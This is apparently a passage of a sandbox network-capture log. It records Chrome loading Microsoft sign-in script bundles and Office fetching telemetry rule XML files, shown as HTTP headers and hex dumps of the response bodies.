2024-12-05 21:17:08 UTC	16384	IN	Data Raw: d2 0b 73 37 88 c3 20 89 3c 1e f9 b9 0b 1b 36 dc 47 2f c6 b4 f4 12 19 67 41 16 ca 2c b7 a3 48 64 61 ce 7c 37 8a 72 df 13 99 97 e5 77 b3 fb 56 fb 4a 31 82 30 f0 b3 9c fb be 97 08 27 ca 3d 2f 8b 33 9b db 59 80 61 ba 7b 99 37 63 11 a5 6e e0 43 43 c9 f2 d0 0e 3c b0 26 29 5d 1e 86 19 cb 22 37 8e a0 c9 c5 fb e9 2c cd 3d 9b c5 22 88 33 5f 66 49 9e c9 8c c5 be 67 c7 32 c8 58 ee e5 9e dc 4b 37 66 99 b8 88 dc 3c 82 7d 1c f8 1c b8 10 24 61 e2 47 6e 18 87 0e 03 18 b5 fc df b9 b3 94 45 81 eb 67 71 e4 c5 d2 96 22 49 58 94 cb 4c b0 28 ce 61 62 f1 fc 6e 96 f3 6a 37 35 07 4d 19 90 0e 36 3a f0 0d 9c 2a 81 1d 2d 19 4f 04 de 40 c0 62 26 f7 83 e6 5e 0a 2c 13 20 cd dc e3 81 4c 30 87 8e 93 db 32 0b 5c 91 c7 5e 1e 7a fb c1 bd 9a e3 a7 7e 22 5d df 49 b8 cb 58 2c 3d c7 97 b6 cd 93 Data Ascii: s7 <6G/gA,Hda\|7rwVJ10'=/3Ya{7cnCC<&)]"7,="3_fIg2XK7f<}$aGnEgq"IXL(abnj75M6:*-O@b&^, L02\^z~"]IX,=
2024-12-05 21:17:08 UTC	16384	IN	Data Raw: e7 d3 7c e0 a6 24 fc bc de 73 e8 10 af 3e aa b4 78 af 1d b9 1d ba 15 ef 41 85 05 37 37 1e ec 6a c1 9b 2d 8f ff 00 b2 be 6a 34 c0 16 45 99 97 7b 67 05 e7 c5 25 e1 0c 50 50 7c 5b ce 7f ec eb bb bf c8 26 db bf 5e 88 3a 6f 61 9d a5 bd d3 5e 7f 91 4f 59 f6 5b 6c fa 6d 8a 30 dd 3f b0 d0 d2 a3 5b bb fd 61 f3 4a 3c 5d 96 6a ec d3 ee b2 ac 97 d8 62 33 50 29 42 05 83 f6 4f 64 c5 3b 0d 6e 2a b4 57 f6 5b 87 2c fd ed a2 2a f4 e1 02 25 de 8b 27 fa b5 da 92 ae ef a8 38 98 4c 26 07 44 f0 d1 68 dc 7a 3f 7e 01 cb 81 a2 3c 9e ff f4 e4 41 1f b1 d5 b3 37 7f d9 b9 d6 64 0d a3 bb 9f 37 d2 5c a5 4f 6f 76 e6 a9 7e b9 d1 6b 31 25 87 3d d3 31 06 ad 7a ed 0f 9b fa ab 33 6d fe c0 68 17 7d b9 ae c6 f4 ee c2 f1 89 c2 9b d6 ad 9c 9f 95 0b c3 33 d7 1c 0c eb 9f bf 1c 6f c7 e7 f3 e8 7c 99 Data Ascii: \|$s>xA77j-j4E{g%PP\|[&^:oa^OY[lm0?[aJ<]jb3P)BOd;nW[,%'8L&Dhz?~<A7d7\Oov~k1%=1z3mh}3o\|
2024-12-05 21:17:08 UTC	8451	IN	Data Raw: 0e a8 04 a8 bd c6 ca 76 98 b2 0c a7 ff 8a 96 31 7c 8b 96 21 0d a4 a6 fd 0c 6f d1 7c c0 9f 01 90 48 9a af 4e a2 fd 07 c7 45 6b be 25 2e 86 e7 66 07 0f 2f 51 1d 89 82 39 89 31 1b 19 4d a3 ae fd 32 a5 41 7d b5 6f e0 af 4f 97 e2 ec 1a f6 7b 9c cc 09 a8 5f 85 87 27 e1 62 99 6a 3f 66 25 cf 3f c0 4a 21 bc 40 bb 09 42 ed 37 7c 71 84 d1 c0 f8 5d 34 61 17 79 41 0f ae b4 7f 4c a9 b1 8d 8e f6 0c 36 af 4f 51 ec 69 bf b3 87 3f 92 f4 34 24 18 f8 18 51 49 fb 89 3d 3d ff 10 2c fe 9d 7a da df 71 90 47 e9 67 ed 9f 74 b4 00 39 b7 78 0f 52 fb 17 bc 08 2a 98 a4 fd 1b cb bf 25 18 b0 e7 28 02 9d c0 4d 79 0a 56 8d 10 e9 15 4b d4 b5 d0 42 e9 21 14 7c 15 b1 10 eb a0 52 c1 f3 98 3e a6 53 45 97 95 e0 4a 0b f0 31 ae da 5b 50 73 f0 36 26 45 78 fe d2 26 19 9c 8e 90 f8 e6 5a 44 a6 3b 3b Data Ascii: v1\|!o\|HNEk%.f/Q91M2A}oO{_'bj?f%?J!@B7\|q]4ayAL6OQi?4$QI==,zqGgt9xR*%(MyVKB!\|R>SEJ1[Ps6&Ex&ZD;;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49836	13.107.246.63	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:07 UTC	654	OUT	GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_i8f-75gfk3tbsm8bmatnqa2.js HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://login.microsoftonline.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:17:07 UTC	797	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:07 GMT Content-Type: application/x-javascript Content-Length: 16345 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Sat, 26 Oct 2024 01:33:48 GMT ETag: 0x8DCF55E3D91C34E x-ms-request-id: b865ee9b-f01e-006f-75b1-45c9a5000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241205T211707Z-1746fd949bdwt8wrhC1EWRu6rg00000003a000000000wexb x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:07 UTC	15587	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 dd 7d 4d 73 23 c7 92 d8 dd bf 02 0f cf f1 86 5c f5 40 f8 e0 27 46 d0 18 04 c0 19 ec 90 00 04 80 33 52 48 32 a2 09 14 c1 7e 04 ba b1 dd 8d e1 f0 51 e3 78 37 1f f6 e0 ab 7d f3 c1 27 1f 7d f1 dd 3f 65 23 d6 bf c3 f9 51 55 5d d5 dd 00 c8 91 56 6f d7 0a c5 10 dd f5 95 95 95 95 95 99 95 99 fd 87 9b b5 3f 8d bd c0 df 13 fb 8f ea 77 21 d8 f3 f7 1f bd 9b 3d ef 47 ff e7 fd 50 c4 eb d0 2f e0 ef 92 f8 b4 0a c2 38 7a f5 d1 0d 0b 71 03 5f 35 1e e5 bb fa e3 67 c7 9b d5 7d 67 11 b8 33 31 ab ff a1 f2 f9 95 6c 2a b0 e9 d4 5d 2c f6 62 d5 83 13 3b c9 ef 60 1f 1e b8 59 e3 0f e5 a4 e0 33 0e e3 35 1e 75 47 41 69 d9 10 4e 50 9a 36 3c f8 77 d5 28 16 9d 60 af bc ff 79 ef c7 64 1a 4e e0 78 00 fc 5e 75 9f a0 f4 1b de 5e 05 fa 87 3f 87 fb 4e 08 7f 8e f6 Data Ascii: }Ms#\@'F3RH2~Qx7}'}?e#QU]Vo?w!=GP/8zq_5g}g31l*],b;`Y35uGAiNP6<w(`ydNx^u^?N
2024-12-05 21:17:07 UTC	758	IN	Data Raw: 00 e0 2d 4b 19 b6 30 82 b4 8c 07 10 e2 6a 41 51 4f 3c 0d 86 9c fb 90 51 1e b8 7e 38 ef ac ca 5b ce 0d e6 a8 e8 40 1c 3c 54 74 00 12 3d d5 58 6e a1 df 32 fc 96 7e 1f e6 a4 0f c0 6d c1 20 4b f4 e5 94 23 08 f2 7a 2b a7 b0 22 f9 95 e1 1b bc 5a 63 78 0f a0 e3 c1 92 39 86 02 bf 1f 40 12 07 fe c0 04 ed 43 f1 51 60 30 01 9f 99 b9 11 22 9c 9c 46 f5 21 03 4e d8 91 99 23 47 70 69 f5 43 13 bf cf 2b a3 5b 30 aa 4d 00 19 ad 61 59 30 a3 07 1c ad 07 46 55 f6 20 7e 60 b4 50 c6 37 58 14 8d 87 24 dd 1a 60 1d ef 0e ff 78 de 3c 3f 3d 3f 29 da 42 15 9f 5b 3c cd 11 b4 5f 48 e5 b0 5e 8c 8c 27 d8 05 98 35 59 15 2d 93 07 3e a7 63 10 ab 63 49 07 c0 d2 95 1b 8e 96 fc d4 b9 0c ab 80 76 df 91 f7 17 e2 c7 c6 08 08 ae 98 e1 2e 77 5a 67 fd 21 d6 62 ff 6d 62 29 ea 10 d2 b2 21 08 6b 0c b3 Data Ascii: -K0jAQO<Q~8[@<Tt=Xn2~m K#z+"Zcx9@CQ`0"F!N#GpiC+[0MaY0FU ~`P7X$`x<?=?)B[<_H^'5Y->ccIv.wZg!bmb)!k

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:08 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:09 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:09 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 9009c19b-701e-0053-74c6-453a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211709Z-1746fd949bd7wvgbhC1EWR0rgs00000003b000000000ar5w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:09 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:09 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:09 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:09 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 4ebe80de-801e-0047-51c8-457265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211709Z-1746fd949bdlnsqphC1EWRurw00000000370000000000krm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:09 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:09 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:09 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:09 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 7eb0f396-d01e-0066-0ac6-45ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211709Z-1746fd949bdtlp5chC1EWRq1v4000000038g000000007fa1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:09 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:09 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:09 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:09 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 00b51f18-a01e-000d-6fcc-45d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211709Z-1746fd949bd77mkmhC1EWR5efc00000003m0000000005a5g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:09 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:09 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:09 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:09 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 46349be7-d01e-0017-71d1-45b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211709Z-1746fd949bdzd2qvhC1EWRcygw0000000310000000009x78 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:09 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	49843	13.107.246.63	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:09 UTC	429	OUT	GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_i8f-75gfk3tbsm8bmatnqa2.js HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:17:10 UTC	797	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:09 GMT Content-Type: application/x-javascript Content-Length: 16345 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Sat, 26 Oct 2024 01:33:48 GMT ETag: 0x8DCF55E3D91C34E x-ms-request-id: b865ee9b-f01e-006f-75b1-45c9a5000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241205T211709Z-1746fd949bdzd2qvhC1EWRcygw0000000320000000007qbz x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:10 UTC	15587	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 dd 7d 4d 73 23 c7 92 d8 dd bf 02 0f cf f1 86 5c f5 40 f8 e0 27 46 d0 18 04 c0 19 ec 90 00 04 80 33 52 48 32 a2 09 14 c1 7e 04 ba b1 dd 8d e1 f0 51 e3 78 37 1f f6 e0 ab 7d f3 c1 27 1f 7d f1 dd 3f 65 23 d6 bf c3 f9 51 55 5d d5 dd 00 c8 91 56 6f d7 0a c5 10 dd f5 95 95 95 95 95 99 95 99 fd 87 9b b5 3f 8d bd c0 df 13 fb 8f ea 77 21 d8 f3 f7 1f bd 9b 3d ef 47 ff e7 fd 50 c4 eb d0 2f e0 ef 92 f8 b4 0a c2 38 7a f5 d1 0d 0b 71 03 5f 35 1e e5 bb fa e3 67 c7 9b d5 7d 67 11 b8 33 31 ab ff a1 f2 f9 95 6c 2a b0 e9 d4 5d 2c f6 62 d5 83 13 3b c9 ef 60 1f 1e b8 59 e3 0f e5 a4 e0 33 0e e3 35 1e 75 47 41 69 d9 10 4e 50 9a 36 3c f8 77 d5 28 16 9d 60 af bc ff 79 ef c7 64 1a 4e e0 78 00 fc 5e 75 9f a0 f4 1b de 5e 05 fa 87 3f 87 fb 4e 08 7f 8e f6 Data Ascii: }Ms#\@'F3RH2~Qx7}'}?e#QU]Vo?w!=GP/8zq_5g}g31l*],b;`Y35uGAiNP6<w(`ydNx^u^?N
2024-12-05 21:17:10 UTC	758	IN	Data Raw: 00 e0 2d 4b 19 b6 30 82 b4 8c 07 10 e2 6a 41 51 4f 3c 0d 86 9c fb 90 51 1e b8 7e 38 ef ac ca 5b ce 0d e6 a8 e8 40 1c 3c 54 74 00 12 3d d5 58 6e a1 df 32 fc 96 7e 1f e6 a4 0f c0 6d c1 20 4b f4 e5 94 23 08 f2 7a 2b a7 b0 22 f9 95 e1 1b bc 5a 63 78 0f a0 e3 c1 92 39 86 02 bf 1f 40 12 07 fe c0 04 ed 43 f1 51 60 30 01 9f 99 b9 11 22 9c 9c 46 f5 21 03 4e d8 91 99 23 47 70 69 f5 43 13 bf cf 2b a3 5b 30 aa 4d 00 19 ad 61 59 30 a3 07 1c ad 07 46 55 f6 20 7e 60 b4 50 c6 37 58 14 8d 87 24 dd 1a 60 1d ef 0e ff 78 de 3c 3f 3d 3f 29 da 42 15 9f 5b 3c cd 11 b4 5f 48 e5 b0 5e 8c 8c 27 d8 05 98 35 59 15 2d 93 07 3e a7 63 10 ab 63 49 07 c0 d2 95 1b 8e 96 fc d4 b9 0c ab 80 76 df 91 f7 17 e2 c7 c6 08 08 ae 98 e1 2e 77 5a 67 fd 21 d6 62 ff 6d 62 29 ea 10 d2 b2 21 08 6b 0c b3 Data Ascii: -K0jAQO<Q~8[@<Tt=Xn2~m K#z+"Zcx9@CQ`0"F!N#GpiC+[0MaY0FU ~`P7X$`x<?=?)B[<_H^'5Y->ccIv.wZg!bmb)!k

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	49844	13.107.246.63	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:09 UTC	410	OUT	GET /shared/1.0/content/js/ConvergedLogin_PCore_h6TdaK6cfsrg175w47aRCA2.js HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:17:10 UTC	798	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:10 GMT Content-Type: application/x-javascript Content-Length: 122341 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 23 Oct 2024 19:33:27 GMT ETag: 0x8DCF399919435D9 x-ms-request-id: c57f349c-801e-0004-06c8-4571fc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241205T211710Z-1746fd949bd4w8sthC1EWR7004000000033g0000000020ev x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:10 UTC	15586	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 e4 bd 7b 77 e3 38 8e 38 fa ff fd 14 8e 66 6e da ee 28 2e cb af d8 4a ab b3 2e c7 a9 ca 76 12 67 e2 a4 ba 77 53 99 1c 59 a2 1d 75 64 c9 2b c9 79 8c e3 fd ec 3f 00 24 25 ca 96 53 55 bd 7b ee 3d f7 dc 79 54 2c 12 7c 81 20 08 80 20 f8 e1 e7 9d ff ab f4 73 69 ff fb ff 53 1a 5d f7 ae ae 4b c3 93 d2 f5 e7 d3 ab e3 d2 25 7c fd 47 e9 62 78 7d da 1f 7c 7f 3d d8 28 fe ff fa c1 8b 4b 13 cf 67 25 f8 3b b6 63 e6 96 c2 a0 14 46 25 2f 70 c2 68 1e 46 76 c2 e2 d2 0c fe 8d 3c db 2f 4d a2 70 56 4a 1e 58 69 1e 85 7f 32 27 89 4b be 17 27 50 68 cc fc f0 b9 54 86 ea 22 b7 74 69 47 c9 6b e9 f4 b2 52 85 fa 19 d4 e6 4d bd 00 4a 3b e1 fc 15 7e 3f 24 a5 20 4c 3c 87 95 ec c0 a5 da 7c f8 08 62 56 5a 04 2e 8b 4a cf 0f 9e f3 50 3a f7 9c 28 8c c3 49 52 8a 98 Data Ascii: {w88fn(.J.vgwSYud+y?$%SU{=yT,\| siS]K%\|Gbx}\|=(Kg%;cF%/phFv</MpVJXi2'K'PhT"tiGkRMJ;~?$ L<\|bVZ.JP:(IR
